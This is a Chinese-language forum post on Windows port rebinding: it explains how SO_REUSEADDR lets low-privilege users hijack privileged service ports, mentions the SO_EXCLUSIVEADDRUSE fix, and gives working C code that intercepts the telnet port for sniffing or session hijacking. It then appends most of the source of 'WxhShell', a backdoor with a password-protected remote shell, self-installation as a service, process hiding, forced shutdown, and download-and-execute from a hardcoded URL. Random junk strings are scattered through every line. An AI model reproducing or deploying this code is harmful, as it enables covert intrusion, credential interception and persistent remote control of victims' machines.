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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: gNi}EP5>  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); bAdAp W  
|<2JQ[]  
  saddr.sin_family = AF_INET; F_~6n]Sr  
5lG|A6+w{  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); A&?WP\_z  
O^Dc&w  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); m>+A*M8  
Bzwx0c2VY8  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 qIUC2,&g  
zVn*!c  
  这意味着什么?意味着可以进行如下的攻击: GHqBnE{B  
vzQyE0T/  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 @Yb Z 8Uc  
Hm<M@M$aG  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) -<12~HKK::  
gtl;P_  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 aSxG|OkKy  
Ny[s+2?  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  3Y=,r!F.h  
(#lm#?<)  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 )<tzm'Rc  
8:BQHYeJK  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 oO}>i0ax*  
X$ejy/+.  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 s:G [Em1  
gx&\Kw6HM  
  #include N_*u5mfQX  
  #include TosPk(o(  
  #include tgS+" ugl  
  #include    _;%.1H{N  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Ed8U;U b  
  int main() fa/P%9db  
  { C!oksI  
  WORD wVersionRequested; RbyF#[}  
  DWORD ret; |^\ Hv5  
  WSADATA wsaData; ``/y=k/au  
  BOOL val; ?cA8P.?^A  
  SOCKADDR_IN saddr; aslNlH6  
  SOCKADDR_IN scaddr; _g^E%@'W  
  int err; Rs^jk)Z:)  
  SOCKET s; DPR;$yV  
  SOCKET sc; z;``g"dSw  
  int caddsize; [Ja(ArO3|[  
  HANDLE mt; ,$ho2R),Fn  
  DWORD tid;   MJpP!a^Q  
  wVersionRequested = MAKEWORD( 2, 2 ); =t ~+63)  
  err = WSAStartup( wVersionRequested, &wsaData ); O>kXysMv>  
  if ( err != 0 ) { :tg@HyY)  
  printf("error!WSAStartup failed!\n"); Cw@k.{*7,  
  return -1; DHSU?o#jY  
  } KLj4 LOs  
  saddr.sin_family = AF_INET; 8-W"4)@b  
   Uv#>d}P  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 B=r]_&u-u  
3m?@7F  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ID_|H?.  
  saddr.sin_port = htons(23); uVoF<={  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) i,C0o   
  { ?nj"Ptzs  
  printf("error!socket failed!\n"); + 6i7,U  
  return -1; MLEIx()  
  } JuKk"tr~RB  
  val = TRUE; #3AYz82w  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 w+URCj  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) )UxQf37  
  { ski1f  
  printf("error!setsockopt failed!\n"); MxFt;GgE8  
  return -1; !- Cs?  
  } 8T!fGzHx  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; $4#=#aKW.  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 <yPq;#z(!  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 - I1cAt  
m? ]zomP  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Ncs4<"{$  
  { ?HEo9/ *7  
  ret=GetLastError(); '2Mjz6mBDA  
  printf("error!bind failed!\n"); #3 }5cC8_  
  return -1; ir( -$*J  
  } S&;T_^|  
  listen(s,2); {Zd)U "  
  while(1) _#y(w%  
  { z&6]vN'  
  caddsize = sizeof(scaddr); n0>5'm%ES  
  //接受连接请求 YL0WUD_>  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1( QWt  
  if(sc!=INVALID_SOCKET) %B*<BgJ;4F  
  { gdkLPZ<<  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ySPlyhGF  
  if(mt==NULL) WOe{mwhhj  
  { zz+M1n-;o  
  printf("Thread Creat Failed!\n"); 4w?]dDyc%  
  break; @ ~0G$  
  } T<9dW?'|  
  } $\JQGic`  
  CloseHandle(mt); A>ug'.  
  } XSL t;zL:  
  closesocket(s); +S:u[x  
  WSACleanup(); dvrvpDoE.  
  return 0; &+|jJ{93z  
  }   75^)Ni  
  DWORD WINAPI ClientThread(LPVOID lpParam) UeK, q>i  
  { 5Tcl<Y6l  
  SOCKET ss = (SOCKET)lpParam; [TpA26#TTO  
  SOCKET sc; tDuUAI54  
  unsigned char buf[4096]; CBz(hCaI  
  SOCKADDR_IN saddr; f6dE\  
  long num; E@'CU9Fo  
  DWORD val; wXIe5  
  DWORD ret; *cI6 &;y  
  //如果是隐藏端口应用的话,可以在此处加一些判断  !z "a_  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ^bY^x+d  
  saddr.sin_family = AF_INET; K"t:B  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); eKU@>5  
  saddr.sin_port = htons(23); ,/[dmoe  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /o}0oo5B  
  { ozxK?AMgG  
  printf("error!socket failed!\n"); b'Piymx  
  return -1; -?2&5YB  
  } X,C/x)  
  val = 100; ><:lUt*N2  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jmA{rD W  
  { Cs6zv>SR  
  ret = GetLastError(); dmTW]P2  
  return -1; G74a9li@  
  } ]'bQ(<^#  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) nfCd*f  
  { zei9,^ C  
  ret = GetLastError(); b|V4Fp  
  return -1; D^T7pO  
  } BSq;R G(  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) `hQ!*f6  
  { aLyhxmn ^)  
  printf("error!socket connect failed!\n"); d q+7K  
  closesocket(sc);  4.Jaw+  
  closesocket(ss); HnKF#<  
  return -1; >R'VY "\  
  } 19YJ`(L`x  
  while(1) VgC9'"|  
  { ;29XvhS8  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 D+vl%(g  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 51FK~ 5  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 -+S~1`0  
  num = recv(ss,buf,4096,0); j8ohzX[Y  
  if(num>0) .AmM%I4K  
  send(sc,buf,num,0); "< hx  
  else if(num==0) f >, Qhl  
  break; #uRq] 'P  
  num = recv(sc,buf,4096,0); l7r N  
  if(num>0) ]@j"0F/`  
  send(ss,buf,num,0); =[tls^  
  else if(num==0) QWQ6j#`  
  break; X0r#,u  
  } lLwQridFXh  
  closesocket(ss); \`iW__  
  closesocket(sc); r+W 8m?oi  
  return 0 ; 9rvxp;  
  } KohQ6q  
5yN8%_)T  
eABdy e  
==========================================================  6O|\4c;  
ur"e F  
下边附上一个代码,,WXhSHELL Xk9r"RmiOb  
1wNY}3  
========================================================== w]P7!t  
NtP.)  
#include "stdafx.h" +/UXy2VRt$  
Le$u$ulS  
#include <stdio.h> KA*l6`(  
#include <string.h> 3~1lVU:  
#include <windows.h> Z?j='/u>@  
#include <winsock2.h> R.WsC bU  
#include <winsvc.h> FOnA;5Aa  
#include <urlmon.h> 2 DNzC7}e  
HZQ3Ht3Vh  
#pragma comment (lib, "Ws2_32.lib") @ 6VH%  
#pragma comment (lib, "urlmon.lib") -L'`d  
OTjryJ^  
#define MAX_USER   100 // 最大客户端连接数 :\= NH0M  
#define BUF_SOCK   200 // sock buffer QIz N# ;g  
#define KEY_BUFF   255 // 输入 buffer g(}8n bTA  
~[/c'3+4qn  
#define REBOOT     0   // 重启 =K< I)2   
#define SHUTDOWN   1   // 关机 W/F4wEODY  
+Gwe%p Q  
#define DEF_PORT   5000 // 监听端口 CCvBE, u x  
p(&o'{fb  
#define REG_LEN     16   // 注册表键长度 Y`_X@Q  
#define SVC_LEN     80   // NT服务名长度 {*r$m>HpM  
<}'B-k9  
// 从dll定义API VNEZBy"F  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Ru\Lr=9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); JX,#W!d  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1AkHig,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); YM/3VD  
 rOf  
// wxhshell配置信息 $Aoqtz d\  
struct WSCFG { rZCAj  
  int ws_port;         // 监听端口 `g:^KCGMM  
  char ws_passstr[REG_LEN]; // 口令 ;7=J U^@D@  
  int ws_autoins;       // 安装标记, 1=yes 0=no s{EX ;   
  char ws_regname[REG_LEN]; // 注册表键名 ua>~$`@gX  
  char ws_svcname[REG_LEN]; // 服务名 /Rcd}rO  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2bG4 ,M  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 TdOWdPvYj  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $=QO_t)?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %oKc?'L0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" lNeF>zz  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >nW}zkfn  
7a_n\]t465  
}; b2-|e_x  
+6Fdi*:  
// default Wxhshell configuration &)}:Y!qiu  
struct WSCFG wscfg={DEF_PORT, >xMhA`l  
    "xuhuanlingzhe", t }C ^E  
    1, >(4S `}K  
    "Wxhshell", r@ *A   
    "Wxhshell", 92ww[+RQ@  
            "WxhShell Service", 1?$!y  
    "Wrsky Windows CmdShell Service", 2_~XjwKE  
    "Please Input Your Password: ", Pi sr&"A  
  1, J9t?]9.,:  
  "http://www.wrsky.com/wxhshell.exe", Z/UVKJm>:  
  "Wxhshell.exe" l*MUDT@M8\  
    }; v?=VZ~`O(  
P\0%nyOG(%  
// 消息定义模块 4 J2F>m40  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; KK3xz*W0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Wk#-LkI  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; tSLl'XeN  
char *msg_ws_ext="\n\rExit."; V>j`  
char *msg_ws_end="\n\rQuit."; f9=X7"dzP  
char *msg_ws_boot="\n\rReboot..."; )KQv4\0y<  
char *msg_ws_poff="\n\rShutdown..."; uB"m!dL  
char *msg_ws_down="\n\rSave to "; BU{ V,|10a  
.wn_e=lT  
char *msg_ws_err="\n\rErr!"; tpzdYokh >  
char *msg_ws_ok="\n\rOK!"; RKb3=} *C  
m)2hl~o_  
char ExeFile[MAX_PATH]; wyEgm:Vt  
int nUser = 0; [!efQap  
HANDLE handles[MAX_USER]; -"fq34v  
int OsIsNt; CKw)J}z  
<Y'YpH`l  
SERVICE_STATUS       serviceStatus; w3UJw  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _ShJ3\,K  
/4BXF4ksi,  
// 函数声明 s(LqhF[N2]  
int Install(void); qinQ5t  
int Uninstall(void); r>@/XYK&\  
int DownloadFile(char *sURL, SOCKET wsh); O*CX@Ne  
int Boot(int flag); uKzz/Y{  
void HideProc(void); {NqGWkGt*b  
int GetOsVer(void); 5Cka."bQ  
int Wxhshell(SOCKET wsl); <:t\P.  
void TalkWithClient(void *cs); +ANIm^@  
int CmdShell(SOCKET sock); S.>9tV2Ca  
int StartFromService(void); +-137!x\q  
int StartWxhshell(LPSTR lpCmdLine); #$)rwm.jW?  
H pfI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =W^L8!BE'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Z6ex<[`I  
?kefRev<#h  
// 数据结构和表定义 R6.#gb8^oS  
SERVICE_TABLE_ENTRY DispatchTable[] = +34jot.!  
{ )BrqE uX@"  
{wscfg.ws_svcname, NTServiceMain}, Gnq~1p5^  
{NULL, NULL} 2b` M(QL  
};   `.-C6!  
5-po>1g'  
// 自我安装 y_r6T XnGL  
int Install(void) X*) :N]  
{ G\AQql(f4  
  char svExeFile[MAX_PATH]; a-5$GvG  
  HKEY key; ->{WO+6(  
  strcpy(svExeFile,ExeFile); tC~itU=V  
0R%58,R  
// 如果是win9x系统,修改注册表设为自启动 x"T^>Q  
if(!OsIsNt) { F+r6/e6a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2p[3Ap  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l'f!za0  
  RegCloseKey(key); !+l, m8Hly  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TC}u[kM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'FXZ`+r|  
  RegCloseKey(key); EZW?(%b>H  
  return 0; h2 <$L  
    } 4(ZV\}j1  
  } >GRuS\B  
} %c{)'X  
else { 5E|2 S_)G  
Z:Am\7 I  
// 如果是NT以上系统,安装为系统服务 KgS xF#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !!>G{  
if (schSCManager!=0) bm?TMhC  
{ 1nmWL0  
  SC_HANDLE schService = CreateService c:TP7"vG  
  ( !IU*Ayg  
  schSCManager, DR=1';63  
  wscfg.ws_svcname, 6*Qpq7Ml  
  wscfg.ws_svcdisp, xb>+~59:  
  SERVICE_ALL_ACCESS, k]sT'}[n  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [i_x 1  
  SERVICE_AUTO_START, {`55nwd  
  SERVICE_ERROR_NORMAL, (7 iMIY  
  svExeFile, Xs_y!l  
  NULL, &[pw LYf7  
  NULL, mYX) =B{  
  NULL, $Yc9><i  
  NULL, ^f]pK&MAmN  
  NULL WLb7]rCTp  
  ); @I:&ozy }=  
  if (schService!=0) }hxYsI"d  
  { `-m7CT sA  
  CloseServiceHandle(schService); 2Mp;/b!  
  CloseServiceHandle(schSCManager); fOAb?:D  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ny}utO  
  strcat(svExeFile,wscfg.ws_svcname); /+YWp>6LU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .}s a2-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); WH*&MIjAr/  
  RegCloseKey(key); 4Rq"xYGXh  
  return 0; Z0KA4O$eL  
    } k9]n/  
  } $_kU)<e3  
  CloseServiceHandle(schSCManager); ]ghPbS@  
} $la,_Sr  
} i9tM]/SP  
L zC~>Uj  
return 1; O*7 pg  
} f0+  
DK;-2K  
// 自我卸载 g= 8e.Y*Fr  
int Uninstall(void) ?Fu.,srt  
{ > { Q2S  
  HKEY key; 3&f{lsLAC  
8pk">"#s  
if(!OsIsNt) { ;p8xL)mUP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .rHO7c,P~  
  RegDeleteValue(key,wscfg.ws_regname); x`&W[AA4  
  RegCloseKey(key); }$jIvb,3?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `^ok5w"oi  
  RegDeleteValue(key,wscfg.ws_regname); ;C'*Ui  
  RegCloseKey(key); mDUS9>  
  return 0; yFjSvm6  
  } {;r5]wimb  
} d|3[MnU[a  
} F2=97 =R  
else { cxV3Vrx@A  
gO%3~f!vY#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); l"/Os_4O  
if (schSCManager!=0) E:AXnnGKO  
{ T28#?Lp6]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4j5plm=  
  if (schService!=0) D@e:Fu1\R  
  { KC'{>rt7  
  if(DeleteService(schService)!=0) { `KN{0<Ne  
  CloseServiceHandle(schService); %BJ V$tO  
  CloseServiceHandle(schSCManager); " PPwJ/L(  
  return 0; 2cL<`  
  } \Uiw: ,  
  CloseServiceHandle(schService); +FI]0r  
  } $v,_8{ !  
  CloseServiceHandle(schSCManager); xp = ]J UQ  
} *&s_u)b  
} FsjblB3?E  
&>SE9w/ ?o  
return 1; r.[kD"l  
} \oyr[so(i  
Zr3KzY9  
// 从指定url下载文件 Ex<0@Oz  
int DownloadFile(char *sURL, SOCKET wsh) sy;~(rpg  
{ f`cO5lP/:)  
  HRESULT hr; 0:nyOx(;  
char seps[]= "/"; $|KbjpQ  
char *token; 38 F8(QU{  
char *file; C'Q} Z_  
char myURL[MAX_PATH]; NR" Xn7G  
char myFILE[MAX_PATH]; hz!.|U@,{<  
{dDU^7O  
strcpy(myURL,sURL); Q =Z-vTD+  
  token=strtok(myURL,seps); 1QThAFN  
  while(token!=NULL) = >9`qcNW_  
  { gU:jx  
    file=token; -4.+&'  
  token=strtok(NULL,seps); _ . _'\  
  } U:H*b{`TU  
1jR<H$aS  
GetCurrentDirectory(MAX_PATH,myFILE); 6v-h!1p{u  
strcat(myFILE, "\\"); YvonZ  
strcat(myFILE, file); p 4=^ UP  
  send(wsh,myFILE,strlen(myFILE),0); z@2NAC  
send(wsh,"...",3,0); nL9m{$Zv  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &0'BCT  
  if(hr==S_OK) 0=NB[eG  
return 0; PM{kiz^  
else ?o2L  
return 1; C.eZcNJG  
,xGkE7=5  
} FKPI{l  
9kcAMk1K  
// 系统电源模块 EyhQjs aT  
int Boot(int flag) -70Ut 4B  
{ .M04n\  
  HANDLE hToken; >Tw|SK+3  
  TOKEN_PRIVILEGES tkp; |X>:"?4t  
 5bk5EE`  
  if(OsIsNt) { 278 6tZF,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); SKGYmleR  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v q|W&  
    tkp.PrivilegeCount = 1; )l^w _;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  1r$q $\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); g94NU X  
if(flag==REBOOT) { Y`%:hvy~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) L49`=p<  
  return 0; }JS?42CTaV  
} xRb-m$B}L  
else { E=7~\7TE  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) J^U#dYd  
  return 0; *g7dB2{  
} > >p3#~/  
  } tcfUhSz,I  
  else { Y>r9"X| &H  
if(flag==REBOOT) { IYd)Vv3'j  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) fN@2 B  
  return 0; ydw')Em  
} {$b]K-B  
else { e(sQgtM6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) oE}1D?3Sp  
  return 0; E}UlQq  
} H13|bM<  
} 2%QY~Ku~  
u>}k+8~  
return 1; ^8DC W`V  
} qjuX1 6o  
H'GyWG|Wx  
// win9x进程隐藏模块 {/N4/gu  
void HideProc(void) ))<3+^S0V\  
{ RV-7y^[]^  
BDpeAF8z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); v*kTTaU&  
  if ( hKernel != NULL ) VHJOj  
  { F]x o*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); '6WaG hvO  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .7" f~%&oP  
    FreeLibrary(hKernel); (h%!Kun  
  } T0i_X(_  
]oj 2  
return; :Fm)<VN"  
} L9(fa+$+#  
Ga"t4[=I  
// 获取操作系统版本 p3&w/K{L6w  
int GetOsVer(void) .xS}/^8iD  
{ r\Zz=~![<  
  OSVERSIONINFO winfo; J=ZNx;{6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <^{|5u  
  GetVersionEx(&winfo); |d&a&6U:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Zj%l (OVq  
  return 1; 6s@'z<Ct  
  else 1 %K^(J;  
  return 0; j"hfsA<_I  
} !q mnMY$  
t0(1qFi  
// 客户端句柄模块 "*a^_tsT?i  
int Wxhshell(SOCKET wsl) /2 ')u|  
{ gq!| 0  
  SOCKET wsh; 4gzrxV  
  struct sockaddr_in client; j'g':U  
  DWORD myID; > -OQk"o  
Nw* >$v  
  while(nUser<MAX_USER) ND77(I$3s  
{ se2ay_<F+  
  int nSize=sizeof(client); {fmSmD  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); q,A;d^g  
  if(wsh==INVALID_SOCKET) return 1; blEs!/A`  
{dTtYL$'"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @|sDb?J  
if(handles[nUser]==0) A70x+mjy^T  
  closesocket(wsh); =y.?=`"  
else %i:Sf  
  nUser++; rjHL06qE  
  } h.(CAm%Y7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); w-LMV>+6|  
l.Iov?e1S  
  return 0; |hk?'WGc`0  
} 0j@gC0xu)|  
<KlG#7M>  
// 关闭 socket eX;C.[&7;8  
void CloseIt(SOCKET wsh) CvS}U%   
{ Z(k7&^d  
closesocket(wsh); )OpB\k  
nUser--; NBU[>P  
ExitThread(0); \$LrL  
} E]/` JI'%  
S2T~7-  
// 客户端请求句柄 &;I=*B~kE$  
void TalkWithClient(void *cs) n$&xVaF|  
{ q$7SJ.pF  
R9%Um6  
  SOCKET wsh=(SOCKET)cs; (pJ-_w' G  
  char pwd[SVC_LEN]; )%FRBO]  
  char cmd[KEY_BUFF]; C7:;<<"P  
char chr[1]; _Z'[-rcXWh  
int i,j; [<CIh46S.  
os 9X)G  
  while (nUser < MAX_USER) { 8K$q6V%#  
lC):$W  
if(wscfg.ws_passstr) { Q4i@y6z  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;w--fqxVl  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Pv,Q*gh`  
  //ZeroMemory(pwd,KEY_BUFF); LX5, _`B  
      i=0; ]#x!mZ!  
  while(i<SVC_LEN) { 8$4@U;Vh;  
?( rJ  
  // 设置超时 SFP%UfM<  
  fd_set FdRead; V 3?x_pp  
  struct timeval TimeOut; L Vt{`   
  FD_ZERO(&FdRead); v 9\2/B  
  FD_SET(wsh,&FdRead); T$)N2]FE  
  TimeOut.tv_sec=8; i^ `]TOP  
  TimeOut.tv_usec=0; [Tmpj9! q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /a@gE^TM  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); tgz  
<Wqk5mR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *c<0cHv*  
  pwd=chr[0]; Ky(=O1Ufu  
  if(chr[0]==0xd || chr[0]==0xa) { ixJ%wnz  
  pwd=0; ':Avh|q3N  
  break; 6'E3Q=}d  
  } ti%uyXfja  
  i++;  # ub!  
    } OZ2YflT  
NWx.l8G  
  // 如果是非法用户,关闭 socket 33/aYy  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); g<d#zzP"T  
} % VZ QX_  
"eRf3Q7w:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); gN./u   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _\mMgZu  
%uA\Le  
while(1) { [(Jj@HlP6T  
GBMCw  
  ZeroMemory(cmd,KEY_BUFF); SI-G7e)3;>  
{6E&\  
      // 自动支持客户端 telnet标准   r92C^h0  
  j=0; @-9u;aL  
  while(j<KEY_BUFF) { )3 C~kmN7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JrZ"AId2  
  cmd[j]=chr[0]; >U?U ;i  
  if(chr[0]==0xa || chr[0]==0xd) { rwYlg:  
  cmd[j]=0; %UV'HcO/gp  
  break; BM6 J  
  } @!;EW R]  
  j++; 0C3s  
    } B-EVo&.  
^dc~hD  
  // 下载文件 !w+A3Z>V  
  if(strstr(cmd,"http://")) { Pi^5LI6JW  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^#:F8D  
  if(DownloadFile(cmd,wsh)) mI;#Zq_j  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); X0IXj%\N  
  else ?<7o\Xk#{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KB3zQJY  
  } 0H<&*U_V  
  else { TttD}`\.  
+aa( YGL  
    switch(cmd[0]) { {Vg8pt  
  Yr7%C  
  // 帮助 iPnu *29  
  case '?': { E Ux kYl  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4O~E4" ]  
    break; )}{V#,xz@  
  } $%*E)~  
  // 安装 e~Hx+Qp.G  
  case 'i': { '1o1=iJN@$  
    if(Install()) JYQ.Y!X1O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c(:qid  
    else )qi/>GR,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *&i SW~s  
    break; [5KzawV  
    } 4s{_(gy  
  // 卸载 DBUhqRfl  
  case 'r': { E Z^eEDZ  
    if(Uninstall()) 3F/05}d`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]yzqBbV  
    else }M9R5!=q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )@%wj;>a  
    break; OIT9.c0h  
    } W6=j^nv  
  // 显示 wxhshell 所在路径 QEUr+7[  
  case 'p': { mQVc ZV  
    char svExeFile[MAX_PATH]; GQZLOjsop  
    strcpy(svExeFile,"\n\r"); ?k6P H"M  
      strcat(svExeFile,ExeFile); ~hJ/&,vH!  
        send(wsh,svExeFile,strlen(svExeFile),0); H*SEzVb  
    break; *)PCPYB^  
    } hN~]$"@2  
  // 重启 8(GH.)I+0  
  case 'b': { Mo4#UV  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <ZF,3~v?  
    if(Boot(REBOOT)) F0 cde  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UIpW#t  
    else { je9eJUKE  
    closesocket(wsh); q?Jd.r5*  
    ExitThread(0); uyd y[n\  
    } 2(s+?n.N  
    break; T2;%@Ghc  
    } hWzjn5w3  
  // 关机 . kv/db  
  case 'd': { vY+{zGF  
